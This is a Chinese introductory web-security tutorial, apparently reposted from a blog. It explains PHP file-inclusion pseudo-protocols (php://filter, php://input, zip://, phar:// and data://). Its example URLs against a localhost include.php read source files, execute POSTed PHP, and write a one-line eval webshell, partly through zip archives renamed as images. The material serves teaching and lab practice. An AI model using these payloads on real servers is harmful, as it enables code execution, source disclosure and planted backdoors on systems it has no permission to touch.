网安入门15-文件包含(伪协议总结)

发布时间:2024年01月12日

php://[输入输出流]

跟**http://**一样,这是php的一个特定的协议格式,统称为伪协议,这是所有伪协议的父类
php:// 可用于以下目的:

  1. 读取来自用户输入的数据
  2. 写入数据到客户端浏览器
  3. 记录错误信息

php://filter

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

说明

php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取

用法

两个用法本质一样

  1. ?filename=php://filter/read=convert.base64-encode/resource=[文件名]
    http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
  2. ?filename=php://filter/convert.base64-encode/resource=[文件名]
    http://127.0.0.1/include.php?filename=php://filter/convert.base64-encode/resource=phpinfo.php

php://input

条件
  • allow_url_fopen:off/on
  • allow_url_include:on
作用

可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分

说明
  • POST提交PHP代码,造成任意代码执行,如写入文件(木马)。php://input可以访问请求的原始数据的只读流,即可以直接读取到POST上没有经过解析的原始数据。
  • enctype="multipart/form-data”的时候php://input是无效的。
用法

php://input + [POST DATA]执行在post体中的php代码

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

若有写入的权限,可以写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>

zip://

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

属于压缩流,php解压缩包的一个函数,不管后缀是什么,可修改为任意后缀像是jpg png gif,都会当做压缩包来解压。

说明
  • PHP>=5.3.0,注意在windows"下测试要5.3.0<PHP<5.4才可以
  • #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
用法

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名](#编码为%23)
压缩shell.php为shell.zip,压缩包重命名为shell.jpg,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\shell.jpg%23shell.php

phar://

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

与zip://类似,同样可以访问zip格式压缩包内容

说明
  • PHP>=5.3.0;压缩包需要是zip协议压缩,rar不行

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术,因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。
利用 phar 拓展 php 反序列化漏洞攻击面

用法

?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
压缩shell.php为shell.zip,压缩包重命名为shell.png,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=phar://E:\phpStudy\PHPTutorial\WWW\shell.png/shell.php

data://

条件
  • allow_url_fopen:on
  • allow_url_include:on
作用

数据流封装器,和php:/相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

说明

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法
  1. data://text/plain,
    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
  2. data://text/plain;base64,
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
文章来源:https://blog.csdn.net/m0_61499194/article/details/135547904
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。